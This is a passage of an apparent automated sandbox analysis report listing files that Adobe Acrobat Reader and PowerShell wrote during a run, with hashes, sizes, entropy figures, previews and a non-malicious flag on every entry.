MD5:	AFFACBA33E4EE2B680DF5A6F06248F27
SHA1:	509D88307F7E7854A91B304AC99CDB4652E391DF
SHA-256:	BF6B580B2645FEB4E5646BD73DAF260984E20055A6556242CC19FC8932ABE85A
SHA-512:	A756B2047B716ACB8FD93B80D97F9690CBD6E56BFAB16E5827223AC39405436F1B74FDB5DB4AD1459FC7602F2D595D47DE1DFA4C54482F168657FBCC493572FA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b79295e9-ccb6-475e-a8ee-78211854f074","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736735975030,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.262980102963176
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMHP2vB3/dVlPIHAR0YyzVVeoAvJf21rPeUkwRe9:YvXKXu2vR/ZwHAW5VVG+16Ukee9
MD5:	F19798B02FB2AFC171589A7722DCED12
SHA1:	D4A50E44CBDA042287807771918EF7B4EDCB8A0D
SHA-256:	4BE0DC720D8167E4B6E88345C2C8BDC343445DB7BA4DA3CD6AE2624E6A92BDE3
SHA-512:	AD90826D809A9C22656331121A67B6B1C6E0518D45EFECEE14C04B3A403909D31150AD6D3C92F30ABD7CB71CE9E91C40988751C804B1BF3A3AB646738786F013
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b79295e9-ccb6-475e-a8ee-78211854f074","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736735975030,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.668964561089637
Encrypted:	false
SSDEEP:	24:Yv6XJJhy5VmamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSW:YvQJhy5eBgkDMUJUAh8cvMW
MD5:	E0D4208E6583B274B36AC0FFC9270700
SHA1:	F1759CEF4EA17922A232B4E04B1DE6C53F545BBA
SHA-256:	9A33D83C6D6A3E6C2AFB92A6857E1D7CC333AEA4A94C77AE2205B685B67FB739
SHA-512:	34F6613DF87CD81E73E372531C75E555D1FFA9424040C29AD099BFE02CCD026DA490481443A101ED082CDB06BE1B7829CB617344F7733BA5466CC3BA7A7575AD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b79295e9-ccb6-475e-a8ee-78211854f074","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736735975030,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.24066933069982
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMHP2vB3/dVlPIHAR0YyzVVeoAvJfshHHrPeUkwRe9:YvXKXu2vR/ZwHAW5VVGUUUkee9
MD5:	867CAEECBD8CF833FD0BEBD7C280F935
SHA1:	16F8826957E0D2A938146F03916A9D21E98651B3
SHA-256:	ED96C5AA68D9077AA2C1A49D47E8E1BF695042A06AF4F0F2626C68B0EF6832E9
SHA-512:	78919F1DB166BCDEC8E88537488202E5D8E9A15F964F6885E4A4E52EDC46974BD1B6D6900E0E08953D49E7D24C48B356969F094B5777911AE7A5C2512F3DEA70
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b79295e9-ccb6-475e-a8ee-78211854f074","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736735975030,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.259404793790589
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMHP2vB3/dVlPIHAR0YyzVVeoAvJTqgFCrPeUkwRe9:YvXKXu2vR/ZwHAW5VVGTq16Ukee9
MD5:	B8DD5C21A6C4DEDF1BEF0305D8864E61
SHA1:	2B812F6DE48E22B568899C0C09B1354398877C84
SHA-256:	20A96B90DC3059EF2F7081451801D8237FACA959D1CCF18C75E51941D987EF28
SHA-512:	6B61973495D37168DB7DB31D199789F064ABE8BFBD109F41DEAACBEE586A95639CADD97084DDBF657888E7A3687A77E457F389934E8E338246E56A365A6B14CD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b79295e9-ccb6-475e-a8ee-78211854f074","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736735975030,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.138649462052239
Encrypted:	false
SSDEEP:	24:Y2t1qaSMHayDIVxMd0fEDavexjBvTQgcj0S/SVGEbX2P2LSxCYAav4CI4BkALc5t:Y2tyM2UWfE7BEguqmH1Ai4x4B7wuM9T
MD5:	CD37556B26ED37ABCC617228198F53B1
SHA1:	40205CADBD9D0FF5E2BD63D25BDB7B2EDA5E007A
SHA-256:	14C6275A9A539163904367329E7D51370A988859EAC8F009F540B5705A2E94E0
SHA-512:	01AA8AF64E00EC2E75444AD2D37731FC7DA7A0984CA09BCCEB4C42F490E3B480DC9F8C0C756778486005F3F95C6A8FD7E8C1CE3EA032093C91E4E23DD970EAF7
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"78c1a1fb5f507ddb9b1aee555a91fdf5","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736557595000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"e3ac454c353f9cc4377f8e5304df9586","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736557595000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"11b26de7e73518b492191571cf968b16","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736557595000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"32e38d06e44c5f567d22e5fed94dcaa4","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736557595000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"d097caa22f089ab3f1d9b0d89029d350","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736557595000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"5aecaa42f0632d2933a62f5e788d8356","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.319171314072848
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9Ohn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMexdtqVpz:TGufl2GL7ms9WR1CPmPbPahxLypilI/3
MD5:	399D1E980C6C40815067BAE4858975C4
SHA1:	B2E526A010EAA6A037671189102B99AC29330597
SHA-256:	B90190334F53C01FFACA61D9B83F28397958A180858F7FD21C5A1D0ED22B3DF1
SHA-512:	BF613DD554650F83295002FADA786150266774200A5B91C55F3161E57EBF3E69FACFEA98532DB554DACF18A02AB4E156E0C1C7012ACC31B735449C7ED60CD502
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7820939425572575
Encrypted:	false
SSDEEP:	24:7+tmlhn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMexd4qVpaVrScVr0InpqLhx/+:7MNWR1CPmPbPahxaypilIkqFl2GL7ms4
MD5:	A6EE2D9228C5E22A71865307A9872D35
SHA1:	F5ED34CAB7B7A3DBE40D23459BEB0A117C7D539E
SHA-256:	2FD9E480E0BBDB573AF2AFE78D3BB3CE1FCDCA752A5728B7DB5C6A0B5A14DD5B
SHA-512:	50EBBEBDD52420138F52F1EE4851A4E1981B8E53D3DD82B2D1207479DE6C10AE6AC80AEF1F2F50D4BF89EDBA0900ADCA5347BD1272EB7D9ECAFEC24B109DE810
Malicious:	false
Preview:	.... .c...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg6asy8A7Q5NPMkKem9twNjVW/qkYyu:6a6TZ44ADE6asy8cQ5N/zVWtK
MD5:	892F600EA8FB691FCBDF5944FB893393
SHA1:	40CD159B7255149F8BA100B873C1F19A850A76D7
SHA-256:	348C486A66643529E28E9190EF624ADB6B97AC31F215C14B0C9FADC06FE6870E
SHA-512:	FA595290C151AF348A6CE01F1D58C547C3F8F2712F57D9186860CD0E8A416EBC90EAE8F4B918B21CAD83716341BA03A6055732F90E26E3EDDC26FD0B2B65F8EE
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulDm0ll//Z:NllU6cl/
MD5:	DA1F22117B9766A1F0220503765A5BA5
SHA1:	D35597157EFE03AA1A88C1834DF8040B3DD3F3CB
SHA-256:	BD022BFCBE39B4DA088DDE302258AE375AAFD6BDA4C7B39A97D80C8F92981C69
SHA-512:	520FA7879AB2A00C86D9982BB057E7D5E243F7FC15A12BA1C823901DC582D2444C76534E955413B0310B9EBD043400907FD412B88927DAD07A1278D3B667E3D9
Malicious:	false
Preview:	@...e.................................R..............@..........

C:\Users\user\AppData\Local\Temp\MSI96b49.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5193370621730837
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClil:Qw946cPbiOxDlbYnuRK+bJ
MD5:	2D3C03DF91E4312339BB3697CA5A6202
SHA1:	56C79C6B0A194FAEB04BAF508C40F9D792728C20
SHA-256:	E32D5AA29D1F0E12C37B272E9E295F10DD636DFB1D169A62A64DAD8EA4E2B42B
SHA-512:	8B51943C98FE0BF25045B988860E40FBC86D5DF2FC512CCC8D662BD3F94BAB464352343F283985D8E272A13CE06FE380355ECBFD21D1057E0D6537EC1F9FA933
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.0.:.0.6.:.3.4. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_30ezocpo.5j0.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4nzlwsdj.lqx.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 20-06-29-089.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.360224836973899
Encrypted:	false
SSDEEP:	384:th1kF144KMXvlXA94+oJXRoRBSZQUtdjGBQaMU6iWU8y4P6HpoShhMhcJPBiNSKB:8gq
MD5:	52BD46866206A8466EE4DD4AA40E486B
SHA1:	3F6554DF563B34089B4043C0ED96BD189EE2F473
SHA-256:	023D87C073222675533DC425E8EF58814428C006738EF9F76F8AB693A3537DB6
SHA-512:	E29E22E49B17F9969122B175F29FDA8BA1531CA73B9A27693645E82AAF150725E8351CD1FADA0CC42F4AC33F0876D9FCA8938FF778D496D8E7ED244423170100
Malicious:	false
Preview:	SessionID=e78e0e0f-f356-4c47-b646-97a95d69a198.1736557589114 Timestamp=2025-01-10T20:06:29:114-0500 ThreadID=7712 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=e78e0e0f-f356-4c47-b646-97a95d69a198.1736557589114 Timestamp=2025-01-10T20:06:29:123-0500 ThreadID=7712 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=e78e0e0f-f356-4c47-b646-97a95d69a198.1736557589114 Timestamp=2025-01-10T20:06:29:123-0500 ThreadID=7712 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=e78e0e0f-f356-4c47-b646-97a95d69a198.1736557589114 Timestamp=2025-01-10T20:06:29:123-0500 ThreadID=7712 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=e78e0e0f-f356-4c47-b646-97a95d69a198.1736557589114 Timestamp=2025-01-10T20:06:29:123-0500 ThreadID=7712 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.410248561035107
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cbuYcbmImmcbl:ceo4+rsCs1m5
MD5:	40B3D371E42416AB12782A2775465762
SHA1:	5F38069A2B911E08DA7A95E232D1045C3D3F569C
SHA-256:	F114700CEC7C5EAC91DF6B88AA789580E86B8B9AFFD7BF995E7AC00FA3C68A9F
SHA-512:	7D51FAAB171D17F1EFF2935648175B760FD0C050309407F5A20226DFAE9D904E2E3306BE7EED36B67C589CA13CB4B108F7B2CE76CAB39C783185D029BB1247F1
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\112ad95a-bc73-4705-a30f-47634b1398e9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\4a84d2fd-dc9a-4051-a220-177765165098.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\4dfd74dd-1093-4dc7-8f2b-1de2a3446707.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
